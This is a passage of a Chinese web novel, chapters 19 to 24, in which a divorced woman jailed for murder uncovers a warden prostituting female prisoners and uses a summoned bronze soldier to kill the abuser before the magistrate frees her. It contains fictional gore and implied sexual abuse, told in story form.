《为妻三年被休,我自立门户你哭啥》
第19章 阶下囚
叶清辞的眼神,变得耐人寻味起来!
瞅瞅金竹海。
没错,牛高马大,用一座山来形容不为过。
而且金竹海是习武之人,与苏蓉有纠葛恩怨。看见前妻被人欺辱,一怒之下杀了周赖子泄愤,极有可能!
现在的关键点,在于是不是金竹海动的手,然后贼喊捉贼又想将前妻置于死地?
无论如何,金家这对兄弟刚好出现在节骨眼上,没安好心!
叶清辞摸摸自己光洁的下巴。
这是他思考时,下意识会做出的动作。下刻,他轻拍惊堂木:“带金竹海上堂!”
金竹海后知后觉反应过来,苏蓉将自己拖下水!
他急忙随衙役登堂,恶狠狠瞪眼苏蓉后,“噗通”一声跪地。
“叶大人,卑职是听小弟说,看见周赖子偷偷摸摸去往废屋。想着前妻苏氏一个人住在那里,不放心才去看看……”
“不管怎么说,我和她夫妻一场啊?万万不料,刚赶到废屋就看见……”
“看见什么?”
叶清辞盯着他的眼睛问。
金竹海额头青筋蹦跶两下,低头:“看见一道黑影,一闪即逝!”
不顺着那该死女人的口供说,他根本解释不清,自己和小弟为何那么赶巧,出现在废屋?
本来想抓奸的,不成想死了人!
没人信苏氏那弱不禁风、风吹就倒的小身板,能暴起杀人碎尸?在县令大人眼中,或许他更加有杀人动机、杀人能力。
县令大人审视他的眼神太危险了,先别忙着收拾苏氏,把自己从这滩浑水捞出去再说!
叶清辞冷哼。
“带金安福!”
平常耀武扬威,狗仗人势的金安福,到了大堂早萎了。趴在地上,冲叶清辞连磕三个头,才敢直起半身回答叶清辞问题。
不过他就一金竹海身后摇旗呐喊的小卒。
金竹海说看见黑影了,他一准说没错,确实有条黑影从废屋蹿出去。只是当时被废屋发生的凶案吓坏了,没顾上追。
叶清辞又让带上蒲里正、方婆婆祖孙等人,询问苏蓉平时为人。对于两边完全不同的描述,若有所思。
眼见天色不早,拍响惊堂木。
“此案疑点重重,嫌犯暂时收监,择日再审!金竹海,你等作为目击证人,需随传随到!”
三班衙役一声威武,恭送县令大人退堂。苏蓉被一条铁链扯着,带回牢房。
她这次算被正式收监,押入女囚牢房。身穿青布直身袍,胸前绣有“卒”字样的女牢头,从衙役手中接手苏蓉。
“这是杀人案的重大嫌犯,好生看守!”
衙役叮嘱女牢头一声,方才离开。
女牢头打量苏蓉羸弱娇小的体态,啧啧两声。这年头,真是啥人都有!
让手下拿来一身灰扑扑、脏兮兮,胸前缀有“囚”字样的布衣裤,命令苏蓉换上。
苏蓉舍不得自己内衣口袋藏着的银子铜板豆子,小心翼翼问满脸横肉的女牢头,能不能保留自己的贴身衣物。
女牢头凶神恶煞。
“不行!牢中有规矩,所有身上物必须上交!等你出狱后,方才会还给你?”
自然,出不了狱被定罪的犯人,身上财物属于狱卒的。心照不宣的潜规则。
别说身上物,进了狱卒管辖的一亩三分地,连犯人身体,也不属于自个的。
苏蓉无法,只得忍辱含羞,当着女牢头面,脱光所有衣裳,被女牢头用一桶桶冷水,如同刷洗牲畜一样冲刷身体。
她抱紧自己,冻得哆哆嗦嗦,好不容易熬到女牢头丢下水桶,把一身布衣囚服扔给她。
看着手下从一堆沾满血的衣裳里,整理出十两整银,千多个铜板,女牢头油光光的脸,盛满笑容。
真没想到,这个瘦小的新女囚身上,能榨出这么多油水!
假惺惺当着苏蓉的面,将这些银子数目登记在“账册”上。实际女牢头心里肯定,苏蓉出不去了!
进了死牢,还想出去?
新来的县令,据说比前任县令更严苛,执法如山!
趁女牢头们不注意,苏蓉弯腰假装拉不合脚的布鞋,将她们随手扔在桶里又弹出掉在地面的生豆子,捡回几粒。
这豆子,是她唯一的依仗了。
若是县令大人不能还她清白,她便会召唤铜甲兵劫狱!宁可走上与这个世道对抗、孤立无援的道路,也不会甘心为一畜生抵命!
女牢头将她推搡进一间阴暗潮湿的囚笼。
看在榨出的十多两银子份上,苏蓉本人又娇弱纤柔,没给她戴大枷。
“老实呆着!”
警告苏蓉后,女牢头锁上铁门,带人离开。狭窄潮湿、散发出浓郁霉臭味的空间,瞬间沉浸入一片黑暗,只剩外面钻进铁笼窗口的一点光亮。
苏蓉听着不远处老鼠吱吱乱叫,似乎在啃咬什么东西,默默摸着铁栏杆,靠着墙角坐下来。
石壁很冷,更冷的是她的心。
下一次,指使铜甲兵诛恶,务必要吩咐仔细了!铜甲兵那豆大的脑子,不会思考太多。
回到家,四顾无外人,金安福嫌弃地把半昏迷的妹妹,扔回她自个床板上。
胆小如鼠的死丫头,让她帮忙见证苏氏的不守妇道,结果死了人当场吓晕。还得带去衙门做笔录,这一路拖死狗把人弄回来,累死他了!
老金氏拖着尚未完全治愈的身体,艰难在厨房里挪动,给晚归的两个儿子做饭。
她很久没干这活儿了,以前是苏氏在做。苏氏不在这几天,也有金冬梅接手。
见金安福进门,她不满地用木勺子重重敲锅沿,问二儿子。
“冬梅那死丫头呢,不是和你们一起回来的吗,怎的不见人影?快叫她滚出来给老娘做饭!一个个的,都等吃现成,要老娘侍候?”
“娘,那丫头还晕着呢,怕是吓傻了!等她醒来再说吧,今晚您随便煮点,我们将就吃。”
他大哥现在是屯长,大小是个武官。还与梅主簿说好了,有机会就把他弄进衙门当衙差,也挣份公家钱。
做饭是不可能做饭的!
男子汉大丈夫,围着锅边旋有什么出息?
老金氏骂骂咧咧,只得继续手扶酸疼的老腰,搅和锅里。
她心里隐隐闪过一丝后悔。
若苏氏仍在,这些家务活哪会轮到她干?
第20章 扑朔迷离
饭来张口,衣来伸手。
不爽了,还能随手抽打苏氏两下出气!
苏氏不敢有所怨言,更别说反抗。
这么好用一个儿媳妇,休掉确实有点可惜……但梅小姐眼里不揉沙子,怎么能容许老大留下苏氏呢?
想到梅小姐即将过门,应该会带来侍候的下人,她不必再如此劳累。丝丝泛起的后悔,又消失无踪。
金竹海坐在厨房的小桌子边喝水,眉心打结。如同喝酒的架势,把茶一杯杯往肚子里灌。不消两刻,杯沿被他的力气捏出裂痕,水慢慢渗出来。
“大哥,咱们明明没看见什么人影子!你在大堂之上,为什么要顺着苏氏的话,承认看见人影子,帮她作伪证?”
金安福凑到他身边坐下,很是不满地提起这话茬。
担心隔墙有耳,他憋闷一路了,到家才能释放!
“你懂个屁!”
金竹海瞪弟弟一眼。
“不顺着她话说,县令大人摆明疑心上我了!苏氏指定没那个能力杀人,有能力有动机杀掉周赖子的人,刚好赶到案发现场的我,是最大嫌疑!”
瞅着金安福不以为然的样子,没好气补充一句。
“你我一起的!飞不了我,也蹦不了你!”
涉及自身,金安福这才紧张重视起来:“大哥,谁能这么狠杀了周赖子?难不成苏氏果真有奸夫?”
话音未落,旁边听得神烦的老金氏,一勺子朝他脑袋敲来!
边敲边骂。
“你就不能盼你大哥一点好!非得往他头上扣绿帽子?苏氏那小贱人,虽然讨嫌,她也没胆子在外搞三搞四!”
大儿子脾气火爆,苏氏畏大儿子如虎。给苏氏十个胆子,她也不敢对大儿子稍有忤逆。
自家这二儿子蠢得很,从不用脑子细想。金家想发展起来,还得靠大儿子。
想着,老金氏多煎了一个黄澄澄的鸡蛋,卧在大儿子的面碗里。然后将两碗热腾腾的面,端到两个儿子面前。
“快吃!你们去衙门遭了趟罪回来,饿坏了吧?”
至于金冬梅那死丫头,晕就晕了,不干活不得吃!
有老娘帮忙教训不省事的弟弟,金竹海心里气平了不少。
一面吸溜面,一面对老金氏道:“娘,明早我进城找梅主簿聊聊。苏氏这件事,得向他打听点风声,问问建议。”
起码对未来的泰山,表明些尊重不是?苏氏这件事他没处理好,怕梅主簿已经对他生出不良看法。
“是该求教亲家,苏氏这档子事会不会连累你,连累咱们金家?真是个贱皮子,已经赶出家门了,还能给咱们惹来祸端!”
老金氏担心大儿子。
“老大,你觉得……亲家公会因为此事,悔约不跟咱家结亲了吗?”
金竹海喝干最后两口面汤,放下碗筷抹嘴,面上浮现出一丝冷笑。
“是郑校尉器重我,亲自提拔我为屯长。他没有女儿,才愿当这个媒人为我牵线。梅主簿是个聪明人,不会因这点小事驳郑校尉面子的!”
话音未落,头顶瓦片发出轻微的一声响动,仿佛有野猫爬过,还发出一声“喵呜”叫。
老金氏和金安福不为所动。
春天到了,野猫发情乱窜很正常。老金氏还骂了声“该死的野猫”,心想明日该让二儿子爬上屋顶去修理了。
金竹海腾地站起,就冲向屋外!
他是习武人自然警觉得多。而且深山老林离他家有这么远距离,野猫咋就蹿到他家房顶上了?村民们除了几家养狗的,也没见有人养猫!
只是他动作不可谓不快,终究慢一步。远远见一团黑影,从自家房顶飘过,迅疾没入夜色中。快得他一时间分不清是人,还是野猫?
老金氏和金安福跟着从屋里跑出来。
金安福变色道:“大哥,有什么问题?”
金竹海冷着脸想了下,好在方才他们也没说什么了不得的秘辛,即便人听去也无妨。
只是有点麻烦……
“没问题,回去继续吃饭吧!”
金竹海冷静地招呼老娘和弟弟回屋。他是个暴脾气没错,不过也分对象!
深夜,叶清辞捧着卷宗,在窗前书桌挑灯苦读。
一道风声飒然,一个黑衣蒙面人翻窗而入,对他躬身见礼。
“大人!”
叶清辞头也不抬。
“查出什么线索没有?”
蒙面人摘掉面巾,露出一张英气勃勃略带稚气的脸。
“大人,金竹海兄弟,应该不是凶手?”
说罢,他把今夜查探到的金家情况,对叶清辞一五一十做汇报。
叶清辞提起朱笔,在卷宗画下一个小小记号,放下。两道剑眉微蹙,既似对手下,又似对自己喃喃。
“不是金家兄弟,凶手又会是谁?丰定村有如此能人吗?”
一个简简单单的杀人案,弄得扑朔迷离。
他大可以顺应普通人判断,将大有嫌疑的苏氏定罪。或者再深挖一下,揪出不怀好意的金家兄弟。
这两人心思龌龊,获罪咎由自取。老百姓还得盛赞他一声青天,为民除害!
但是,穿上这身官袍,责任感告诉他不能意气用事。更不能凭自己好恶,简单定人罪行。叶清辞轻叹。
周赖子死有余辜!
真凶实则除暴安良!
但国有国法,家有家规。没有任何人能凌驾法律之上,私自泄私愤。所以这个凶手,他不得不捉。
就是,能捉住吗?
“傅振!”
略微踌躇,叶清辞从身上拿出块玉牌,递给面前属下。
“联系九幽阁钟长老,请他帮忙查查,最近宜阳县、丰定村这片地域,有什么隐士高人,悄悄潜伏来此地?”
“是!”
傅振双手接过玉佩,躬身一礼,掩上面巾再次掠出窗外。
叶清辞站在窗前,目送傅振背影远去,回身又翻开卷宗,坐下仔细阅读。
牢房内,苏蓉吃到两辈子第一次的牢饭。
米粒可数清的糙米粥,混杂几粒黑豆子、黄豆子、绿豆子。
她嘴角一抽。
这都不带遮掩的,牢房当天把从她身上没收的豆子,加工成牢饭!
叶清辞接手县衙,没有认真整顿过牢房吗?还是说,他认为牢房这块,各种不合理的规则是正常正确的?
苏蓉狠狠咬住豆子,嚼得稀烂,吞进肚腹。
是她的,总有一天,会还给她!
第21章 黑狱
夜半,铁门发出沉闷的响声,靠墙睡得不踏实的苏蓉,一下子惊醒过来!
她悄悄扑在铁门上的窗洞向外窥探,因为角度关系,只能看见外面昏黄灯光下的过道,以及对面囚笼厚重铁门的一角。
过了会儿,脚步声朝这边过来,苏蓉赶紧恢复坐姿,靠回墙角假寐。
明显感觉有人从外面通过窗洞观察她,那眼神令人说不出的犯恶心。可能觉得她睡熟了,或则自恃掌控全局,外面的人低声交谈没什么顾忌。
“这个暂时不能动!”
女牢头的声音。
“案子没判下来,动了不好对上面交代。看看隔壁那个,谋杀亲夫判了秋后问斩的。随便玩,死了报病,还便宜她落个全尸了!”
“张婆子,你这里的货最近不太行呀!”
男声嫌弃。
“没一个看得上眼,又丑又老!好不容易来个嫩点的,你又说不能动?”
女牢头张婆子叹气:“不是换了任新县令吗?没摸清对方脾气前,老温他们不敢轻举妄动。没看上便出去吧,下次有好货再通知你!”
“来都来了,钱也给了……”
男人不爽道:“将就吧!”
苏蓉肩靠石壁,耳朵紧紧贴在冰凉彻骨的铁门上。
对方尽管说得含混不清,她也听明白大致意思。只闻叮里当啷,女牢头用手中钥匙打开对面囚笼的锁链,她攥紧的手心里全是冷汗!
以前看过一些相关记载,描述古代监狱如何黑暗。进了牢房的女囚,莫说命,连清白也不是自个的。
果真如此!
这叫张婆子的女牢头简直天良丧尽,把管辖范围内的女囚,当成做皮肉生意的妓子,任意私下买卖?
青楼窑子尚且不能满足这些该死的嫖客,要来女囚牢光顾?是因为女囚被欺凌死了,无人问津吗?
而且听两人交谈,内容细思极恐!
说不定以前被关进牢房的女囚,并非真正违法犯罪的?
对面牢房逐渐响起压抑的声音,似乎被堵住了,无法宣泄。张婆子锁上牢门,扬长而去。苏蓉扶着铁门目送此人身影,眼里心里,充斥怒火。
同为女人。世间最难为女人的,为何往往是女人?
她掷下一粒生豆子,注视铜甲兵在面前现身。
“将……”
“对面牢房欺凌女囚的男人,碎尸万段!并在墙上用鲜血书写几个大字:路见不平,替天行道!下署名:杀人者,岷郡王氏!”
没错。
她想到如何自救困境了!
为官府指明“真凶”。不仅洗刷掉自己身上的嫌疑;还顺便把女狱中潜藏的黑暗,暴露在光天化日之下。为可怜的女囚们争取一份公道!
眼见铜甲兵化为一股旋风,从铁门窗洞刮出去,钻进对面囚笼的缝隙。随即飘过来阵阵惊心动魄的痛苦嚎叫,几欲刺穿人耳膜。
苏蓉嘴角渗出的讥讽笑容,隐在夜色中。
这一回,她彻底没有了害怕、心软!
整个女监骚动了!
纷纷醒来的女囚们,有的砸铁门,有的狂呼乱叫,有的疯狂喜悦。
“杀猪了!杀猪了!”
“哪间牢房在杀猪?”
“好像是从死牢那边传来的响动……”
她们互相打探,传递消息。在这里关上一年半载的老囚徒,大多数人心知肚明女牢头们私下干的龌龊勾当。
大家恨透张婆子一干狱卒!
不过头一次听到这么激烈的动静,不是从女人嘴里发出,而是自男人口中,她们顿然集体精神大振。
该不会是长期打雁的,终有一日被雁啄了眼睛吧?
她们歇斯底里嚎叫,用力敲打铁门。即便那位英雄的姐妹可能看不见,听不见,她们也想努力送过去一点声援。
“干什么?干什么!”
张婆子带领一班五大三粗的女狱卒,仓皇闯进女监。用手中棍棒、皮鞭,愤怒抽向一双双伸出窗洞铁栅栏、干枯黝黑的手!
“一个个都想造反不成?”
“都给老娘面壁抱头蹲着!谁敢再闹,老娘剥光她衣裳,当众捆起来抽!”
大多数女囚慑于淫威,偃旗息鼓。张婆子顾不上收拾少数不听话的,狂奔过长长过道,进入死囚牢区域。
当她掏出钥匙,哆哆嗦嗦打开那间原本以为万无一失的牢房铁门。映入眼帘的,是一片铺天盖地的红。油灯光下显得格外刺目,冲击性强!
碎肉、碎骨、不知名内脏残片,喷溅一地。连黑黢黢的天花板,也被浓浓血腥染变了色。
“滴答”“滴答”,从头顶掉落!
女狱卒们两眼一翻,当场晕死两个。
张婆子颤巍巍举起油灯,看向牢房石壁,用鲜血书写出的两行大字。
“路见不平,替天行道!”
“杀人者,岷郡王氏!”
张婆子腿一软,一屁股坐在血污中,油灯滚落地面。
完了。
一切都完了!
她知道,纸,终究包不住火!
苏蓉靠在石壁假寐,直到衙役打开牢门,粗暴地推醒她,把她带出牢房。
此时女监,灯火通明。
叶清辞披散一头黑发,只来得及草草披上外衣,就赶来案发现场。
站在牢房外的过道上,神色冷峻异常,打量这些被带出牢房的女囚。
当看见苏蓉时,他顿时表情起些细微变化。
张婆子匍匐在地,簌簌发抖,头不敢抬。另一名女狱卒壮着胆子上前,代为禀告。
“大人,出事牢房的左邻右舍女囚,都提出来在这里了!”
三名女囚,包括苏蓉,鹌鹑似缩着脑袋跪在县令大人面前,等候死神的判决。
尽管不知道牢房里出了什么事,但男人临死前的惨叫,划破天际,惊动整个女监,她们怎可能什么都没听见。
两名女囚白着脸,身形摇摇欲坠。
哪怕她们被判死刑,等待秋后问斩算个亡命徒了,但男人惨叫声实在太瘆人了,由不得她们不怕!
叶清辞看了一圈,觉得苏蓉虽然也在一同发抖之列,但神色似乎更镇定。于是,冷着脸直接问苏蓉。
“苏氏,你之前在牢房中听见什么?不许隐瞒从实说来!”
苏蓉趴在地上,偷偷看向女牢头张婆子。害怕之情,溢于言表。
叶清辞狠狠蹙眉。
“讲!本官在这里,不用顾忌任何人!”
第22章 要变天
张婆子偷偷抬头,用淬毒的眼神盯着苏蓉。在叶清辞有所察觉看过来时,又恢复成诚惶诚恐的模样,老实巴交低头看地面。
苏蓉心里掠过一抹冷笑。
怕这个女牢头的话,她就不会留下对方一条狗命了!
她要这女牢头及帮凶,明正典刑,受到法律制裁。顺便也看看,叶清辞到底是不是能为民做主的青天?
“大人……”
先向叶清辞恭恭敬敬行一礼,苏蓉才把自己听到张婆子和男人的对话,说了出来。不过有些地方,她有意模糊了细节。
这些细节,叶清辞自然会去查,会去了解。她说得太细,叶清辞反而会起疑心。
毕竟她是胆小懦弱的人设,自己身上案子没搞清楚,有心思去管别人是非,岂不奇怪?张婆子身为牢头,在女监只手遮天,照道理她该装聋作哑才对。
叶清辞面色铁青。
“你的意思,你只听见张牢头带了个陌生男人进对面牢房,之后发生的事,你不知情?”
“是。”
苏蓉怯生生维持脸上畏惧之色。
“我不知道张牢头为什么会夜半引男人进女囚牢房?听到对面传出来一些,嗯……不雅的声音……我便两只手把自己耳朵堵上了!”
所以,她什么也没看见,什么也没听见?
苏蓉寻思一下,抬头犹豫着补充:“可能,那男人是那女囚的夫君?”
屁的夫君!
看着苏蓉一派天真懵懂的模样,叶清辞心里滚动一句粗话,没讲出口。
女犯手脚被绑,嘴巴被堵,眼睛被蒙!
而进入女囚牢房的无名男子,死状与周赖子同等凄惨。凶手杀人手法如出一辙,明显为同一人。
叶清辞现在可以断定,苏蓉是无辜的。
毕竟被关在牢房,众目睽睽,作为一弱女子,不可能在堂而皇之杀人后,又自在返回牢房,没引发任何人注意。
说不定苏蓉和那女囚一样,作为受害者,幸运地遇到某不知名高人行侠仗义?
这次对方还在石墙上留下两行血写的大字,为两人证清白。
“我知道……张牢头引进牢房的男人,是做什么的?”
一名一直低垂脑袋的女囚,突然抬头,对叶清辞露出一个瘆人的微笑。
怕到极点,想着横竖一死,反倒豁出去了。
“这里不就是官办窑子吗!”
“以莫须有罪名,在外抓捕一些看中的良家妇女回来。欺负她们没有背景,没有家势,可以任人鱼肉!榨干她们的血肉后,再报一个狱中因病而亡?”
女囚尖厉的笑声,在闭塞阴暗的监狱中回荡。身子痉挛抽搐,整个人忽然癫狂了般。
“大人,听说您是新上任的大人?那您有没有像您的前任那样,接受她们上供呢?”
“这些银子,拿在手里不嫌烫吗?您看看它们,好红好红啊……全是我们姐妹的血,染红的呀!”
张婆子失声尖叫。
“大人,您别听她的!这个女死囚,关在死牢等候秋后处决,早吓疯了!疯人疯语,当不得真……”
一名女狱卒,不假思索,就近一鞭子,狠狠朝女囚头顶抽下去!嘴里大声呵斥:“大胆!大人面前,还敢如此放肆?”
女囚本就身体孱弱不堪,被抽得头破血流,倒在地上爬不起来。但她嘴里怪笑声依旧持续刺耳,笑得众人面上一阵阵变色。
苏蓉紧紧握住拳头,指头感受着掌心那几粒生豆子,捏得它们发烫。
叶清辞凌厉的目光,扫视张婆子及一班女狱卒。片刻,转头吩咐跟来的大群衙役。
“把张牢头和负责看守女监的人,全部下狱,等候本县调查!”
前任留下一个烂摊子。
他日忙夜忙,勉强把明面的公务理顺,没来得及顾到监狱这块。本以为男牢那边,问题会更多。没想到最先暴露出罪行的,反而是女监!
苏氏若不因凶案入狱,女监这段时间,不知还会悄无声息增添几条冤魂?
虽然疑心整个事件,苏氏在其中到底扮演了什么角色?但瞅着苏蓉缩着肩膀,一副楚楚可怜的受惊模样。他略踌躇,选择相信自己的眼睛。
也许,就是巧合。
苏氏运气不好,也算好的遇到了而已。那个凶手,大概也是因为苏氏,才来女监刺探。
“大人,冤枉啊!”
张牢头和几名与其狼狈为奸的女狱卒,被上一刻还是同事的衙役们拖走。一路挣扎号哭,声音响彻整个女监。
女囚们纷纷从牢笼里探出头来,看看发生了什么事?
当她们看到是刚刚还不可一世的张婆子等人,被衙役们拖进一间间空囚笼关押起来,震惊得合不拢嘴。
天要变了!
“大人,冤枉啊……”
随着一人福至心灵地喊出声,所有女囚纷纷跟上,拍打铁门:“大人,我们冤枉啊!”
“青天大老爷!”
“去找几位可靠的老大夫,为女监全体囚犯检查身体。有病治病,有伤疗伤!”
叶清辞黑着脸,对左右下命令。
“另外,传唤汤县丞、梅主簿、马县尉几人,火速来衙门报道!”
他一甩袖子,愤怒离开监狱。暗想关押在县大牢的犯人,所有案宗必须一一重审。
苏蓉被带回牢房,有点傻眼。
事情发展不太对呀?都特地让铜甲兵制造烟雾弹,表明凶手不是她了,为何县令大人还不释放她?
这么多人齐齐叫冤枉,短时间内叶清辞能处理得过来吗?可别把她忘牢里了。等想起来,已发霉发臭!
看看牢房外,除了巡视的狱卒由女狱卒暂时换成男狱卒,好像没得到什么本质改变。
满监寂寂。
想必狱友们与她同样心思。这男狱卒看着比女狱卒更加凶狠暴戾,不会才走掉一批狼,转头又迎来一群虎吧?
“苏氏,有人来看你!”
一夜无眠。
早上,苏蓉刚接到发下的早饭,一个馒头半碗清可见人的稀粥,便听见狱卒大声呼喊她的名字。
她自然没有权利决定见不见。把碗和硬邦邦的黑馒头放在角落,刚站起身,狱卒便打开牢门,引进来两个人。
“长话短说,你们只有半柱香时间啊!”
不耐烦丢下一句,狱卒哐当一声关上铁门,只剩两条一高一矮人影,手足无措站在门口。
第23章 中五百万巨奖
她们眼睛没能适应光线,骤然由光明走进黑暗,鼻端萦绕腐烂发臭、还混杂浓郁血腥气的味道,整个人惶恐不安。
苏蓉睁大眼睛看着这两人。凉掉的温度,一点点回到体内。
“方婆婆……小兰!”
听到熟悉的声音,方婆婆激动地转过身,接住苏蓉扑过来的身子。
苏蓉也不知道自己为什么这么脆弱。
抱住方婆婆,把头埋在方婆婆温暖的怀里,她忽然就觉得很委屈。
方婆婆像她现代过世的母亲,身上有种让她眷念依赖的味道。
她泉涌的泪水打湿方婆婆衣襟。方婆婆也如她的母亲,慈祥温柔地拥抱她,安抚她,不停摸她的头。
“好孩子,实在苦了你!方婆婆知道你是被冤枉的……”
冤枉吗?
苏蓉擦干眼泪,苦苦一笑。她当然不冤枉!她觉得委屈,只是这命运实在不公……若是公道,怎轮得到她来行使“正义”?
时间仓促,方婆婆不能多说。赶紧拉着她坐下,从方小兰怀抱的小包袱里,取出两个热乎的白面馒头,还有碗蛋花汤,塞在苏蓉手里。
“妮儿,趁热快吃!婆婆知道你在这里面,吃不好睡不好。你的案子,我向很多人打听过了,都说你不可能是凶手,县令大人必定也这般想?”
“他们还说新来的县令大人是青天,他一定会查清事实,还你清白。等看过你,婆婆回村再想办法求蒲里正,找一些村民,联名上书为你喊冤……”
苏蓉握住她的手。
“方婆婆,您不用忙了!蒲里正与金家勾结,巴不得置我于死地?您去求他们,白让他们得意!叶大人清明,定会还我公道的。”
“苏姨……”
方小兰眼巴巴看着两人,想说点什么安慰两人,但对于整件事,她至今糊里糊涂,不知该说什么。只能指指白面馒头,又把手指头缩回去。
“婆婆特地给你买的……你快吃,凉了就不香了!”
她们一夜没回村,硬是在县衙街头熬过一夜。大早,婆婆牵着她,急吼吼买了两个带馅的白面馒头和一碗汤,就来衙门外等候探监。
婆婆差不多掏光身上所有的钱,衙役才同意她们进来看望苏姨一眼。
苏姨不吃东西,可负了婆婆一片心意。
苏蓉低头看馒头,已被掰开成四半,想必经过狱卒检查。馒头带馅,热乎乎的碎肉混合着白菜屑,令她想到铜甲兵出手的狼藉。
她胃部一阵痉挛。
面上却笑得温柔。
“这么大两个包子,我可吃不完?方婆婆,小兰,我们一起吃!”
说着,拿了两半一整个,放在方婆婆手里。她和小兰,一人另外一半,捧在嘴边细细啃。
方婆婆可怜她到心痛。落到这地步了,这孩子还不忘为他人着想。她先不忙吃东西,紧张地拉着苏蓉上下检查打量。
“妮儿,昨日看见你浑身是血,你伤到了吗?他们后来,有没有打你?”
听说进了县大牢的人,极少有能活着出来的!她很怕苏蓉在狱中,等不到昭雪的那天。
“快快快,你们赶紧走!”
苏蓉来不及回答,铁门“砰”的打开,狱卒火急火燎冲进来,抓住方婆婆祖孙往外赶。
“大堂来人,要提审囚犯苏氏了!”
方婆婆祖孙惊呆了。来不及多说一个字,被衙役脚不点地拽出牢房送走,只来得及扭头喊出一声:“妮儿你别怕……”
苏蓉看着等在旁边的衙役,苦笑一声,伸出双手,乖顺任由对方给戴上手枷。
堆积如山的冤假错案,县令大人能第一时间想到处理她的案子,她该感激呢还是感激?
外面的春日阳光格外和煦。苏蓉却觉得刺目,抬手挡住眼。登上大堂,只见叶清辞坐在黑色大案后。
不同的是,梅主簿等人诚惶诚恐跪在一边,三班衙役忙着搬运堆积如山的卷宗。整个公堂像菜市口,人来人往热闹繁杂,哪有之前的肃杀氛围。
苏蓉不觉愣神,被身后衙役轻轻推了一下,才反应过来上前跪倒。
“民女拜见大人!”
叶清辞从厚厚一摞卷宗中抬头,往下看一眼,轻轻挥手。会意的衙役,立即解除苏蓉腕上桎梏。
苏蓉低着头,不敢去看叶清辞此刻神色。生怕自己没有表演天赋,让对方在这关键点对自己生出疑心。
真正的凶手是谁,她心知肚明,难免心虚。
“苏氏,本县查实,周赖子之死与你没有任何关系,故而决定将你当堂释放!你没有别的想申述的了吗?”
当堂释放?
苏蓉仿佛被五百万巨奖当场砸中,激动地抬头。
“大人,真的吗?真的释放民女,还民女清白?”
叶清辞看着她微微颔首:“本县稍后会出榜缉捕真凶,顺带为你正名。苏氏,你受委屈了!”
一句话,令得苏蓉眼泪扑簌簌掉。
好比一个坚强的人不想掉眼泪,却因人一声“别哭”,而莫名忍不住落泪。
叶清辞点头示意,身旁衙役捧来托盘,上面摆着一个鼓鼓囊囊的钱袋。叶清辞拿起钱袋,起身走向苏蓉,亲手将钱袋递到她手里。
“这里面一共有二十两银子。除了之前牢头没收你的,另外的银子,是本县代表官府补偿给你的。”
他语气略顿。
“你拿去,好生过日子吧!”
“谢谢……谢谢大人……谢谢青天大老爷!”
苏蓉颤声道。反应过来,急忙趴在地上磕头。
叶清辞扶起她:“没什么事的话,你便快回家吧!”
他忙得很,先解决苏蓉这桩特别有印象的冤案,再去查证宜阳县长年累月堆积的旧案。昨夜女监的大爆发,令他感觉前所没有的压力和责任感。
苏蓉攥紧钱袋。
家?
她哪里还有家啊?
叶清辞察觉到什么,已经坐回椅子上,又瞧向堂中迟疑不肯挪步的苏蓉,温言道:“还有什么事吗苏氏,你尽管说?本县能为你解决的,一并解决。”
他知道苏蓉处境不妙。回到丰定村,怕也举步维艰。
但苏蓉这胆小如鼠的性子,自己不开口,他没道理上赶着相帮。
苏蓉瞄向一旁的梅主簿。
第24章 当堂释放
她进来时,对方和其他两位官吏,被叶清辞用眼色示意,退到一边暂候。但之前的狼狈相,被她牢记在心。
这是否代表,叶清辞会开始清算这批贪官污吏?
宜阳县,可能会成为吏治清明、最适合长期定居的地方。
苏蓉再次跪下开口。
“大人,三年前民女随家人逃荒来丰定村,被爹娘许配给金家。现在金家在村中有权势,里正偏袒金家,多次阻扰民女自立门户。”
“民女不愿再回丰定村。能否请大人恩准,许我在益阳县办女户户籍?这样民女便能抬头挺胸,在这里找活儿干,自食其力生存下去了!”
“好!”
叶清辞冷峻的眉眼,染上一抹温润的笑意。
“梅主簿,你现在便去为苏氏办户籍!”
略顿补充。
“不许为难!”
苏蓉大喜,跪在地上给叶清辞磕了个头,再三相谢后才跟随梅主簿去了偏房。
瞅着梅主簿帽沿下渗出一粒粒黄豆大小的汗,她如同三伏天喝了杯冰饮,从头凉爽到脚。
虽然梅主簿装作不认识她,但她拭目等着看梅家和金家的下场!
逼死原身,污名化原身——
人在做、天在看呢!
新鲜出炉、盖着大红官印的户籍名帖入手,苏蓉捧着,一个字一个字细看,唯恐梅主簿不怀好意,给她设文字陷阱。
梅主簿瞅四下无人,忍不住恶狠狠冷笑。
“苏氏,只听人说你是一愚妇,没成想你还识字呢?”
他认为苏蓉不懂装懂瞎看,心里很不满。但现在新县令十分震怒,彻查所有旧案,他这个主簿,搞不好大难临头。没心思再纠结儿女亲家的事。
不然,苏氏想这么顺利拿到户籍?哼……
苏蓉收起户籍和钱袋,用凉幽幽的眸子瞟他一眼。一个字不说,直接转身走人。
跟渣滓搭话,脏嘴!
从来没这般被个百姓、还是女人当场甩脸子的梅主簿,气得狠狠拍了把桌子,带翻砚台,洒一地墨汁。
苏蓉走出衙门,站在台阶上,仰面看天,深深呼吸。
自由,又有希望的感觉,真好!
来往行人,好奇地看着这个身份不明的女人。
短短两天时间,蹲过大牢出来的苏蓉,蓬头垢面,浑身散发出恶臭,如同变了个人。谁也没把她与之前震惊全城的凶杀案女嫌犯,联系到一起。
金竹海带着兄弟金安福,匆匆赶到衙门,却被告知梅主簿不得空见他。塞了银子,才打听出叶县令正在申饬县丞、主簿一干官吏。
还说许多陈年旧案的卷宗被翻出来,县令大人要重审。
金竹海心惊肉跳。
梅主簿这未来岳丈,他可是太清楚对方手脚不干净了!
一朝天子一朝臣,前任县令倒是拍拍屁股走人,新任县令接手这个烂摊子。要么同流合污,要么……天翻地覆。
现在很明显,新县令与他们不是一路人。梅主簿若被对方查出什么获罪,那他这个未来女婿怎么办?
与其娶个罪民之女,倒不如苏氏这种身世清白的贫民女。一时间他极度后悔,不该急于把苏氏休掉。
现在苏氏沾上人命官司,也回不到从前了。
他心中七上八下,在衙门外急得团团转。
突然,一股浓重的臭味钻入鼻孔。他和金安福,不由自主,双双嫌弃地往后一退。
“苏氏!”
蓦地,金安福吃惊地大叫起来,惹来金竹海及路人瞩目。
“你怎么会出来了?越狱啊你……”
别说苏蓉,连金竹海也嫌弃弟弟蠢笨如猪,狠狠瞪他一眼!
谁越狱,会光天化日、大咧咧走出县衙,周围衙役们视而不见、无动于衷的啊!
苏氏这分明是无罪获释了!
